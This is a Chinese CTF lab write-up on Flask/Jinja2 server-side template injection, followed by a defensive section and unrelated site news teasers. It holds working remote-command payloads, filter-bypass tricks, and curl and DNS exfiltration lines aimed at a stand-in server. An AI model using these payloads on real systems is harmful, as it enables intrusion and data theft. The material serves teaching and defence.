Flask SSTI漏洞实战:从原理到利用与防御全解析
1. 项目概述与核心价值最近在整理CTFCapture The Flag夺旗赛的Web安全学习笔记发现服务端模板注入SSTI是一个高频且经典的考点尤其是在Python的Flask框架场景下。很多新手朋友一看到{{7*7}}这类payload就头疼知其然不知其所以然。恰好网上有一套名为“Flask-SSTI-labs”的靶场它系统地设计了从易到难的关卡非常适合用来夯实SSTI的漏洞原理、利用手法和绕过技巧。这篇题记我就结合自己通关这个靶场的实战过程把每一关的解题思路、踩过的坑以及背后的原理掰开揉碎了讲清楚。目标很简单让你不仅能“通关”更能“通晓”下次在比赛或渗透测试中遇到SSTI能快速定位、灵活构造payload直取flag。SSTI的本质是攻击者能够将恶意代码注入到服务器端的模板引擎中并使其执行。这通常发生在应用程序将用户输入直接拼接进模板字符串进行渲染的时候。Flask默认使用Jinja2模板引擎功能强大但若使用不当就会成为危险的攻击向量。学习SSTI不仅仅是记忆几个payload更重要的是理解模板引擎的渲染机制、沙箱环境以及如何在受限条件下实现命令执行、文件读取等操作。Flask-SSTI-labs这个靶场就完美地模拟了这些场景。2. 靶场环境搭建与基础认知2.1 靶场获取与部署Flask-SSTI-labs通常是一个开源的GitHub项目。你需要先将其克隆到本地。git clone 靶场仓库地址 cd Flask-SSTI-labs部署非常简单因为靶场本身就是一个Flask应用。确保你的Python环境已安装Flask。pip install flask然后直接运行主程序文件通常是app.py或lab.py即可。python app.py访问http://127.0.0.1:5000你就能看到靶场的首页里面列出了所有关卡。注意有些靶场可能设计了依赖注入或需要初始化数据库请仔细阅读项目README文件。我遇到过一个版本需要先执行一个init_db.py的脚本否则部分关卡无法正常显示。2.2 SSTI漏洞基本原理与检测在开始闯关前我们必须统一思想SSTI漏洞产生的根本原因是什么简单说就是“数据”被当成了“代码”来执行。在FlaskJinja2中模板通过{{ ... }}来输出变量或表达式的值通过{% ... %}来执行控制语句。一个安全的做法应该是这样的# 安全示例模板中引用安全的变量 from flask import Flask, render_template_string app Flask(__name__) app.route(/safe/name) def safe_hello(name): # 模板是固定的name是作为变量传入的 template h1Hello, {{ username }}!/h1 return render_template_string(template, usernamename)用户输入的name被当作username变量的值插入到模板中固定的位置这是安全的。漏洞产生的典型模式是这样的# 危险示例用户输入直接成为了模板的一部分 app.route(/vulnerable) def vulnerable(): user_input request.args.get(input, ) # 用户输入被直接拼接进模板字符串 template h1Hello, user_input !/h1 return render_template_string(template)如果用户传入input{{7*7}}那么拼接后的模板字符串就变成了h1Hello, {{7*7}}!/h1Jinja2会执行7*7并输出49。这就证实了SSTI漏洞的存在。检测方法数学运算输入{{7*7}}、{{7*‘7’}}在Twig中可能返回49或7777777等观察返回结果是否被运算。报错信息输入{{‘’}}或错误的语法如{{有时会返回详细的错误信息暴露模板引擎类型Jinja2, Tornado, Smarty等。内置对象探测输入{{config}}、{{self}}、{{request}}等如果返回了这些对象的字符串表示说明存在注入点且可能能访问到敏感内部对象。在Flask-SSTI-labs中前几关就是让你练习这种最基本的检测和确认。3. 通关实战从基础注入到对象链构造靶场一般按难度递增设计关卡。我们按关卡顺序深入每一关的解题逻辑。3.1 关卡1-3基础注入与信息获取关卡1确认注入点通常是一个简单的输入框提交后内容会显示在页面上。直接输入{{7*7}}如果页面显示49恭喜SSTI存在。这一关的目的是建立信心并确认靶场使用的是Jinja2引擎。关卡2读取应用程序配置确认注入后下一步往往是获取环境信息。Flask的config对象是一个字典包含了应用的所有配置项其中可能就有我们想要的flag。Payload:{{config}}结果页面会打印出整个config字典。你需要在一堆信息中仔细查找flag可能以FLAG、SECRET_KEY等形式存在。有时flag就在config的某个键值里。实操心得打印出的config内容可能很长且没有换行在浏览器里查看源代码CtrlU会更清晰。使用{{config.items()}}有时会以更友好的元组列表形式展示。关卡3探索内置对象与方法如果flag不在config里我们就需要扩大搜索范围。Jinja2提供了丰富的内置对象和函数。Payload:{{.__class__}}解释在Python中一切皆对象每个对象都有__class__属性指向它的类。这里对空字符串调用结果是class ‘str’。这证明了我们可以访问对象的底层Python属性。延伸尝试{{[].__class__}}(list类){{{}.__class__}}(dict类){{().__class__}}(tuple类)。了解这些是后续构造对象链的基石。3.2 关卡4-6类继承链与文件操作从这一阶段开始需要利用Python的继承关系来获取我们想要的类特别是能执行命令或读写文件的类。关卡4寻找基类object所有类最终都继承自object。我们的目标是找到它。Payload:{{.__class__.__base__}}或{{.__class__.__mro__}}解释__base__: 获取直接父类。字符串的父类是object。__mro__(Method Resolution Order): 方法解析顺序返回一个包含该类及其所有父类的元组。对于字符串.__class__.__mro__会得到(class ‘str’, class ‘object’)。这清晰地展示了继承链。关卡5获取object的所有子类object的子类包含了所有内置类和已加载的类其中就有我们梦寐以求的能执行命令的类如os._wrap_close、subprocess.Popen相关的类。Payload:{{.__class__.__base__.__subclasses__()}}结果这会返回一个巨大的列表包含了数百个类。页面可能显示不全或卡顿但关键信息已经注入。注意事项这个列表非常长在浏览器中直接查看几乎不可能。通常有两种处理方式1. 利用SSTI本身进行遍历和筛选见下一关。2. 将输出保存到文件或通过网络发送出来。在CTF中我们通常采用第一种方式构造payload在服务端执行查找逻辑。关卡6定位危险子类并执行命令这是SSTI利用的核心环节。我们需要从浩如烟海的子类列表中找到含有危险模块如os、subprocess或能用于文件操作的类。思路步骤确定索引首先我们需要知道目标类在__subclasses__()列表中的位置。这需要写一个循环来查找。由于是在模板中我们可以利用Jinja2的循环和控制语句。# 一个查找包含os模块的类的payload模板 {% for cls in .__class__.__base__.__subclasses__() %} {% if os in cls.__module__ %} {{ loop.index0 }} - {{ cls.__name__ }} {% endif %} {% endfor %}这个payload会输出所有模块名中包含os的类及其在列表中的索引loop.index0是Jinja2循环的索引从0开始。常见危险类经过多次实践有几个常见的“吉祥物”类class ‘os._wrap_close’ 这个类非常常用因为它内部引用了os模块。它的索引在不同Python环境和程序中可能变化但通常在40-130之间。class ‘subprocess.Popen’ 直接用于命令执行但可能被过滤。class ‘_frozen_importlib.BuiltinImporter’ 与导入相关可用于加载模块。构造命令执行假设我们找到了os._wrap_close在索引132。Payload:{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[system](whoami)}}拆解.__class__.__base__.__subclasses__()[132] 获取到os._wrap_close类。.__init__ 获取该类的初始化方法一个函数对象。.__globals__ 获取该函数所在的全局命名空间字典。对于os._wrap_close.__init__其__globals__就包含了os模块的全局命名空间。[system] 从该命名空间中取出os.system函数。(whoami) 调用该函数执行命令。如果执行成功页面可能不会有回显os.system只返回退出状态码。我们需要一个有回显的命令执行方式。有回显的命令执行使用popen或subprocess。使用os.popen:{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](ls /).read()}}这里用popen执行ls /命令并用.read()读取命令输出将其作为模板表达式的结果渲染到页面上。使用subprocess.Popen(如果找到了该类):{{.__class__.__base__.__subclasses__()[索引].__init__.__globals__[Popen](ls /, shellTrue, stdout-1).communicate()[0]}}关卡6的实战演练 假设通过查找我们确定os._wrap_close的索引是132并且flag在根目录下的flag.txt文件中。 最终的payload可能是{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](cat /flag.txt).read()}}提交这个payloadflag的内容就会直接显示在网页上。4. 进阶绕过技巧与过滤器滥用靶场的后半部分通常会引入WAFWeb应用防火墙或简单的过滤机制比如过滤了空格、点.、下划线_、引号、中括号[]甚至__class__等关键词。这时就需要一些绕过技巧。4.1 字符串拼接与编码绕过过滤点.在Python中获取属性除了用点操作符还可以用__getattribute__函数或[]操作符如果属性名是字符串。原始.__class__绕过|attr(__class__)或[__class__](如果[]没被过滤)进一步如果__class__也被过滤可以用字符串拼接或编码。拼接|attr(__class__)Hex编码|attr(\x5f\x5fclass\x5f\x5f)\x5f是下划线_的十六进制过滤空格可以用号或者用Jinja2的过滤器参数替代空格在某些位置。{{config|attr(‘pop’)(‘SECRET_KEY’)}}这里参数传递本身不需要空格。过滤引号可以使用Jinja2的request对象来获取参数或者使用数字、列表等构造字符。利用request.args:{{().__class__.__base__.__subclasses__()[request.args.a].__init__.__globals__[request.args.b]}}然后URL传入?a132bpopen。使用chr函数构造字符串{{(().__class__.__base__.__subclasses__())[132].__init__.__globals__[chr(112)chr(111)chr(112)chr(101)chr(110)]}}构造了popen。4.2 Jinja2内置过滤器的妙用Jinja2过滤器本身是为了格式化变量但一些过滤器在绕过时很有用。|attr(): 上面已提到获取属性。|string(): 转为字符串。|list(): 转为列表可以用于将字符串拆成字符列表绕过对完整字符串的过滤。|join(): 将列表连接成字符串与list配合使用。|reverse(): 反转可用于混淆。|format(): 格式化字符串可以用于拼接。例如如果完全不能出现os这个字符串但我们可以通过其他方式引用它。假设我们知道os模块在__builtins__中通常都在可以尝试{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[__builtins__][__import__](os).popen(ls).read()}}这里用__import__函数动态导入了os模块。4.3 利用模板本身的功能Jinja2模板可以定义变量、使用控制结构。我们可以利用这些特性来构造更复杂的payload使其更隐蔽。{% set a .__class__.__base__ %} {% set b a.__subclasses__()[132] %} {% set c b.__init__.__globals__.popen(cat /flag) %} {{ c.read() }}这种分步赋值的写法有时能绕过基于单行简单正则匹配的WAF。5. 实战中的疑难排查与技巧实录在实际通关和CTF比赛中绝不会一帆风顺。下面是我总结的几个常见问题及解决思路。5.1 子类索引不固定怎么办这是最让人头疼的问题之一。object.__subclasses__()返回的列表顺序受到Python解释器启动时加载模块顺序的影响可能因Python版本、操作系统、已安装的第三方库甚至代码中import语句的顺序而不同。解决方案动态查找永远不要死记硬背一个索引。使用之前提到的循环查找payload在目标环境中实时确定索引。这是最可靠的方法。特征匹配不仅仅匹配模块名os可以匹配类名‘wrap_close’或函数名‘popen’。提高查找的准确性。{% for cls in .__class__.__base__.__subclasses__() %} {% if cls.__name__ _wrap_close %} 找到索引: {{ loop.index0 }} - {{ cls }} {% endif %} {% endfor %}批量尝试在CTF中如果页面没有回显错误信息500错误可以写脚本批量尝试一个索引范围如0-200观察哪个索引能成功执行命令。这通常用于盲注场景。5.2 命令执行无回显如何利用如果os.system或popen().read()被执行了但页面没有任何变化比如是一个“盲注”我们需要其他方式获取命令结果。外带数据 (OOB - Out of Band)DNS外带执行一个能触发DNS查询的命令通过查看DNS日志来确认命令执行。ping -c 1whoami.your-domain.com如果whoami结果是root那么会向root.your-domain.com发起DNS查询。你在your-domain.com的DNS服务器上就能看到这条记录。HTTP请求外带使用curl或wget将命令结果作为参数发送到你的服务器。curl http://your-server.com/cat /flag | base64在你的服务器日志中就能看到访问记录其中包含经过Base64编码的flag。延时注入通过命令执行sleep函数根据页面响应时间来判断。例如{{.__class__.__base__.__subclasses__()[X].__init__.__globals__.system(sleep 5)}}如果页面5秒后才响应说明索引X对应的类可能包含os模块。5.3 遇到严格过滤如何突破有时过滤规则非常严格几乎堵死了所有常规路径。这时需要脑洞大开。思路一寻找替代路径。目标执行命令或读文件。替代如果找不到os/subprocess可以找importlib、builtins、sys、platform等模块它们有时也包含有用的函数。例如sys.modules可能已经加载了os模块。{{sys.modules.os.popen(ls).read()}}前提是你能访问到sys对象。可以通过{{.__class__.__base__}}的继承链慢慢找。思路二利用文件操作类。 如果命令执行被彻底封死但flag在文件中可以寻找能进行文件读写的类。比如class ‘_io.FileIO’、class ‘codecs.StreamReaderWriter’等。通过它们的read方法读取文件。这需要对Python标准库非常熟悉。思路三利用沙箱逃逸的原生方法。 在极端的沙箱环境下可以考虑利用Python的内省机制和对象污染。例如通过__builtins__、__globals__的链式污染重新引入被删除的危险函数。这属于更高阶的技巧在Flask-SSTI-labs的高级关卡中可能会遇到。6. 防御视角与安全开发建议作为开发者了解攻击手段是为了更好地防御。如何避免SSTI根本方法不要拼接用户输入到模板。这是最重要的原则。使用模板引擎的变量渲染功能确保用户输入始终作为“数据”而非“模板结构”的一部分。严格过滤与沙箱如果业务确实需要动态模板如CMS的自定义页面必须使用更安全的模板引擎如Jinja2的沙箱环境但沙箱也可能被绕过。对用户输入进行严格的白名单过滤只允许出现有限的、安全的字符和关键字。在独立的、权限受限的沙箱进程中渲染不可信的模板。禁用危险功能在Jinja2中可以通过配置禁用一些危险的功能。from jinja2 import Environment env Environment(undefinedStrictUndefined) # 使用严格的未定义处理 # 或者在创建app时 app.jinja_env.undefined StrictUndefined但这只能防止访问未定义变量导致的错误信息泄露无法从根本上阻止SSTI。代码审计与自动化扫描在代码中搜索render_template_string、Template、Jinja2.from_string()等危险函数的使用检查其参数是否用户可控。通关Flask-SSTI-labs绝不是终点。它为你打开了一扇理解服务器端模板注入漏洞的大门。真正的CTF比赛和实战渗透中场景会更加复杂多变过滤规则会更诡异。但只要你牢牢掌握了“从用户输入到模板字符串”、“从对象到类继承链”、“从类到危险函数”这三层核心逻辑并辅以灵活的绕过技巧和耐心的测试绝大多数SSTI题目都将迎刃而解。我个人的习惯是每做完一道SSTI的题都会把payload和思路整理下来并尝试用不同的方法去达成同一个目标。这种练习能极大地提升你在实战中的应变能力。

相关新闻

理解 DeepSeek Harness:为什么模型越来越强,还需要一层复杂的软件系统?

理解 DeepSeek Harness:为什么模型越来越强,还需要一层复杂的软件系统?

最近 DeepSeek 开源了 DeepSeek Harness。单看功能清单,它很容易被当成"又一个 Agent 框架":有模型、有 Tool、有 Skill、有 SubAgent、有上下文管理、有 Sandbox,还有 Web UI。但这样的理解价值有限。真正值得研究的问题是&#x…

2026/8/16 7:44:22 阅读更多 →
基于ADP、ClawPro与ima构建自动化个人知识大脑:从信息抓取到智能检索的完整实践

基于ADP、ClawPro与ima构建自动化个人知识大脑:从信息抓取到智能检索的完整实践

1. 项目概述:当ADP遇上ClawPro与ima,知识管理进入“脑机协同”时代如果你和我一样,常年被海量的信息淹没——浏览器里存着上百个标签页,笔记软件里塞满了零散的灵感,电脑桌面堆满了待整理的文档,那么“打造…

2026/8/16 7:44:22 阅读更多 →
基于AI与MCP协议构建智能日志诊断系统:从原理到实战

基于AI与MCP协议构建智能日志诊断系统:从原理到实战

1. 项目概述:当AI遇见MCP,日志诊断的范式革命最近在排查一个线上服务的偶发性超时问题时,面对海量的、格式不一的日志文件,那种“大海捞针”的无力感又涌上心头。相信每个后端开发、运维或者SRE同学都深有体会:凌晨被告…

2026/8/16 7:44:22 阅读更多 →

最新新闻

不推倒现有系统:面向多遗留业务系统的AI智能中台建设思路

不推倒现有系统:面向多遗留业务系统的AI智能中台建设思路

摘要当前国内中大型企业普遍完成多轮信息化建设,沉淀了ERP、MES、WMS、PLM、OA、CRM、财务系统等大量存量业务系统,形成了典型的异构、碎片化、烟囱式IT架构。传统数字化建设多聚焦于数据汇聚与接口打通,仅实现数据物理连通,未解决…

2026/8/16 8:33:46 阅读更多 →
Java调用栈获取全解析:从Thread到StackWalker的四种方式对比与实践

Java调用栈获取全解析:从Thread到StackWalker的四种方式对比与实践

1. 项目概述:为什么我们需要获取调用栈信息? 在Java开发中,尤其是进行日志记录、性能监控、框架开发或者调试复杂业务逻辑时,我们经常会遇到一个看似简单却至关重要的需求: 如何知道当前这段代码是被谁调用的&#xf…

2026/8/16 8:33:46 阅读更多 →
Linux命令行高效操作与自动化运维实战

Linux命令行高效操作与自动化运维实战

1. Linux命令基础与核心价值 在服务器运维、嵌入式开发和科研计算等领域,Linux命令行始终是高效工作的核心工具。我至今记得第一次通过 grep 命令在日志中快速定位问题的震撼——这种无需图形界面就能精准操控系统的能力,正是Linux的魅力所在。 为什么…

2026/8/16 8:33:46 阅读更多 →
重装系统后黑屏全攻略:从硬件排查到驱动修复的完整解决方案

重装系统后黑屏全攻略:从硬件排查到驱动修复的完整解决方案

1. 问题现象与初步排查:从“黑屏”到“有迹可循” 刚给电脑重装完系统,满心欢喜地按下重启键,结果屏幕一片漆黑,只有风扇在转,指示灯在亮。这种从希望到失望的落差,相信不少朋友都经历过。这不仅仅是“黑屏…

2026/8/16 8:32:46 阅读更多 →
C++初始化列表:高效对象构造的必知技巧

C++初始化列表:高效对象构造的必知技巧

在 C 中,对象的初始化是每个开发者都必须掌握的基础能力,也是面试中高频考察的知识点。很多初学者在编写构造函数时,常常混淆「初始化」与「赋值」的区别,导致代码存在隐藏的性能开销,甚至因为 const 成员、引用成员或…

2026/8/16 8:32:46 阅读更多 →
操作系统用户态与内核态:从隔离原理到性能优化实战

操作系统用户态与内核态:从隔离原理到性能优化实战

1. 从一次“程序无法运行”的报错说起最近在社区里看到一个挺有意思的求助帖,一位开发者朋友在尝试运行一个名为claude.exe的程序时,系统弹出了“指定的可执行文件不是此操作系统平台的有效应用程序”的错误。这个看似简单的报错,其实背后牵扯…

2026/8/16 8:32:46 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →